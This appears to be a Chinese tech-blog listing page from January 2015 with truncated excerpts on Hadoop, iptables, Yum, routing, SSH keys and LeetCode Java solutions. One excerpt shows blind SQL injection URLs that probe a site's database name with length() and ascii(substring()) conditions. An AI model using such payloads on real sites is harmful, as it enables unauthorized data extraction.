可参阅官方文档http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SingleCluster.html文件下载:http://mirrors.hust.edu.cn/apache/hadoop/common/注:可直接使用2.5.2或2.6.0版本都解决了2.5.1中不稳定bug1伪分布式部署以测试通过的为例Linuxversion..
分类:
其他好文 时间:
2015-01-04 19:36:21
阅读次数:
254
预见未来看似是一件不太可能的事情,然而现在企业科技高速发展的态势完全超乎想象。就在几周前InfoWorld的主编EricKnorr在引流潮流专栏发表一篇非常火爆的关于2015年以及之后的九大科技企业趋势,在其中非常清晰的指出这九大潮流中头两位就是公有云的胜利和容器技术的狂热。从..
分类:
其他好文 时间:
2015-01-04 19:38:32
阅读次数:
217
iptables基础概念及写法详解防火墙控制理论概念的剖析防火墙在计算机语言中的理解:工作于主机或者网络边缘,对于进出的报文根据定义的规则做出检查,进而对被规则匹配到的报文作出相应处理的套件。防火墙和杀毒软件的概念区别:防火墙是在病毒没有进入前做出了规则判断和处理..
分类:
其他好文 时间:
2015-01-04 19:37:27
阅读次数:
241
78年生人的我,于本命年之际来到宜信,的确是一件很美好的事情。2014年的5月底还处在无工作状态的休假中,偶然的机会,在微信上,现在的王老大给了我机会,提供了宜信技术部系统部用人的信息,想想和老大面聊的情景,真是“一拍即合”啊,所以,我来到了宜信,至今日,近6月时..
分类:
其他好文 时间:
2015-01-04 19:37:31
阅读次数:
207
企业内部如果使用自己的Yum服务器,不但占用带宽少、速度更快,而且可以更加灵活方便的自定义配置,能有效提升日常工作效率。一、基本概念1.RPM全称是TheRPMPackageManager。用于在CentOS系统中安装/卸载软件。2.Yum全称是YellowDogUpdaterModified。用于管理RPM包,完成安装/..
分类:
其他好文 时间:
2015-01-04 19:37:13
阅读次数:
186
分类:
其他好文 时间:
2015-01-04 19:36:24
阅读次数:
87
#!/bin/shCHECK_RUN(){if["$?"="0"];thenecho"===============Run[$1]succeed!==============="sleep3elseecho"Error,abort!"exit2fi}./telnet_restart.shstart./telnet_restart.shstatussleep3echo""echo""USER=`whoami`if[$USER!=root];thenecho"Mustberoottorunthisscript,p..
分类:
其他好文 时间:
2015-01-04 19:35:52
阅读次数:
204
redhat4.8升级openssh6.6报错现象:提示OpenSSLversionmismatch.Builtagainst1000000f,youhave信息,whereissshdssh:/usr/local/sshd发现该sshd的路径跟正常的as4.8的路径不一样:sshd:/usr/sbin/sshd登陆进去,发现sshd的路径为/usr/local/sbin/sshd,现在已改为/usr/sbin/sshd..
分类:
其他好文 时间:
2015-01-04 19:33:52
阅读次数:
1584
https://oj.leetcode.com/problems/combinations/http://blog.csdn.net/linhuanmars/article/details/21260217publicclassSolution{
publicList<List<Integer>>combine(intn,intk)
{
List<List<Integer>>results=newArrayList<>();
help(n,k,0,n..
分类:
其他好文 时间:
2015-01-04 19:34:42
阅读次数:
125
(一)网络架构客户端A:
操作系统:windows
本地连接:
ip:192.168.1.149网关:192.168.1.1(路由器地址)dns:192.168.1.1(路由器地址)子网掩码:255.255.255.0
VMwareNetworkAdapterVMnet1:
ip:192.168.3.1(用来和虚拟机通信)
服务器B:
操作系统:linux(虚拟机)
eth1:采用桥接模式..
分类:
其他好文 时间:
2015-01-04 19:34:42
阅读次数:
568
https://oj.leetcode.com/problems/subsets/http://blog.csdn.net/linhuanmars/article/details/24286377publicclassSolution{
publicList<List<Integer>>subsets(int[]S){
Arrays.sort(S);
List<List<Integer>>results=newArrayList<>();
hel..
分类:
其他好文 时间:
2015-01-04 19:34:20
阅读次数:
306
https://oj.leetcode.com/problems/subsets/http://blog.csdn.net/linhuanmars/article/details/24286377publicclassSolution{
publicList<List<Integer>>subsets(int[]S){
Arrays.sort(S);
List<List<Integer>>results=newArrayList<>();
hel..
分类:
其他好文 时间:
2015-01-04 19:35:38
阅读次数:
146
实例:1、routeadd-net192.168.2.0netmask255.255.255.0deveth0添加一条到达192.168.2.0网络的路由,指定网络掩码为255.255.255.0,数据包通过网络接口eth0。2、routeadd-net192.57.66.0netmask255.255.255.0gw192.168.2.1添加一条到达192.57.66.0网络的路由,指定网络掩码为255..
分类:
其他好文 时间:
2015-01-04 19:35:17
阅读次数:
119
http://www.x.com/sections_intr.php?id=181andlength((database()))=4http://www.x.com/sections_intr.php?id=181andascii(substring((database()),1,1))=122http://www.x.com/sections_intr.php?id=181andascii(substring((database()),2,1))=122http://www.x.com/sections_i..
分类:
其他好文 时间:
2015-01-04 19:32:48
阅读次数:
248
node1:172.16.58.1node2:172.16.58.3node1-->node2首先在node1生成秘钥执行命令ssh-keygen-P‘‘询问保存路径直接回车默认即可,后面提示私钥保存为/root/.ssh/id_rsa公钥保存为/root/.ssh/id_rsa.pub[root@node1~]#ssh-keygen-P‘‘Generatingpublic/privatersakeypair.Enterfi..
分类:
其他好文 时间:
2015-01-04 19:33:24
阅读次数:
207
https://oj.leetcode.com/problems/word-search/http://blog.csdn.net/linhuanmars/article/details/24336987publicclassSolution{
publicbooleanexist(char[][]board,Stringword)
{
Map<Character,List<P>>map=buildMap(board);
booleanr=visit(map,word.toCharAr..
分类:
其他好文 时间:
2015-01-04 19:33:20
阅读次数:
146
https://oj.leetcode.com/problems/remove-duplicates-from-sorted-array-ii/http://blog.csdn.net/linhuanmars/article/details/24343525publicclassSolution{
publicintremoveDuplicates(int[]A){
if(A==null)
return-1;//invalidinput
if(A.length==0||A.length==1)
retur..
分类:
其他好文 时间:
2015-01-04 19:32:41
阅读次数:
133